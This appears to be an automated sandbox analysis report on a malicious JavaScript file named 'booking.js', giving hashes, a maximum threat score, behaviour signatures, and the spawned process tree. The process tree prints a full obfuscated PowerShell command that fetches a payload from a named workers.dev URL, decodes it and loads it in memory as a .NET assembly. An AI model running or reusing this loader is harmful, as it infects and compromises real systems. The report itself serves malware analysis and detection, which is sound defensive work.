Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    07/08/2026, 10:20

General

  • Target
    booking.js
  • Size 58KB
  • Sample260807-mc56ysfc64
  • SHA256 19ed9a9a724758fb9cd41e3a0ae8ecf424ae62bbeae61272d6a9a9d31de350ed
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://muddy-sound-e0cd.nodetectonn.workers.dev/Ljwev

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\booking.js
    1⤵
      PID:4448
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$megabary=''https://muddy-sound-e0cd.nodetectonn.workers.dev/Ljwev''; $compossibility = [System.Net.HttpWebRequest]::Create($megabary); $compossibility.UserAgent = ''Mozilla/5.0''; $sfregazzi = $compossibility.GetResponse().GetResponseStream(); $reader = New-Object IO.StreamReader($sfregazzi); $kourbash = $reader.ReadtoEnd(); $lacune=''IN-''; $hominins=''-in1''; $javaone_2008_ge=[string]::IndexOf($kourbash, $lacune); $pajero=$kourbash.LastIndexOf($hominins); if($javaone_2008_ge -eq -1 -or $pajero -eq -1){return}; $syngamic=$javaone_2008_ge+$lacune.Length; $anomocarpous=$kourbash.Substring($kourbash.IndexOf($lacune)+$lacune.Length, $pajero-($kourbash.IndexOf($lacune)+$lacune.Length)); $phassachate=$anomocarpous.Replace(''#'',''A'').ToCharArray(); [Array]::Reverse($phassachate); $perforati=$phassachate -join ''''; [byte[]]$hobblingly=[Convert]::FromBase64String($perforati); $bosta=[AppDomain]::(''Cu''+''rrentDomain'').GetType().GetMethod(''Lo''+''ad'', [byte[]]); $unswerving=$bosta.Invoke([AppDomain]::(''Cu''+''rrentDomain''), (,$hobblingly)); $landaulets=(''OzHkrO8nP/wik5EmsS7RLwADEhVrPTyTZd60qrpsEG+KXoyIxoC4YojjURsHR3WaudTCp5GEtr3SrXYOqbgwNV1N6ZSnQw4hUrP6IqLy+Hs='','''',''dK6JpVdZAB0LD+X5yHD81Y3GrDy+r87s5qg4XooAUON9gw3Nf3TcZqLW1mYhjSJh'',''Dk8YYKgVi3/7sTwmRFND1Ef753pyPk2npSeqVGZv/LQ='',''Zg9mghPzmb8qgRAyH8khFtHMRy/6tl8SLt4JAj/KsYQ='',''SNdY+VkVxvfEPlWEtc34lmTBTiaOCMC9D/eMAWwwM4k='',''vAoHTH+T05qDPH72aokD+s7GLSz+P3DZrHDOihQLM+A='','''',''RSbxkMYsqy0sTzIiaI+v6pMFJjIwOspdEBhpmjmr4xI='',''xEwv4OSu4xfPE+bYGRaEUqLHq5TPdGJyXjMVG/VS5lbg0QjpSIEN7sJS0twZqZHi'',''NLOXgTTSKSQxP9WncMtLvDfrtwp4cvYjqmXdvIM+Gj8='',''cBfd5mP6exQnEMQQm5mSJf3fRfZp8OUgDsX6BjdYJ28='',''K1Q2CVelghEfKFSsE5zychvaLe9WZ23ZOK2236qAHE4='','''',''0FeGvmJWI2whh3TpVx/xfQ6NyyznI54yCB3RnIxKH8A='',''vRRZX6irwzd00CGbNVmx/YRKskMLPiESN915fVSgJgs='','''','''','''',''Y/f3iELX1yBw29jU8KtGGY7XQcS6si9tQo44cwFIvhc='',''ChJKjeraZ43Nu2qUkFqKExRzQ0wXe7mBBNF1DDeaOdM=''); try{$monometallist=($unswerving.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy=($monometallist.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null,[object[]]$landaulets)}catch{}'))"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3324

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_epjrx1go.am1.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_epjrx1go.am1.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/3324-1-0x0000022BB0CA0000-0x0000022BB0CB0000-memory.dmp

          memory/3324-0-0x0000022BB0CA0000-0x0000022BB0CB0000-memory.dmp

          memory/3324-7-0x0000022B98A20000-0x0000022B98A42000-memory.dmp

          memory/3324-10-0x0000022BB0CA0000-0x0000022BB0CB0000-memory.dmp

          memory/3324-11-0x0000022BB0CA0000-0x0000022BB0CB0000-memory.dmp

          memory/3324-12-0x0000022BB0CA0000-0x0000022BB0CB0000-memory.dmp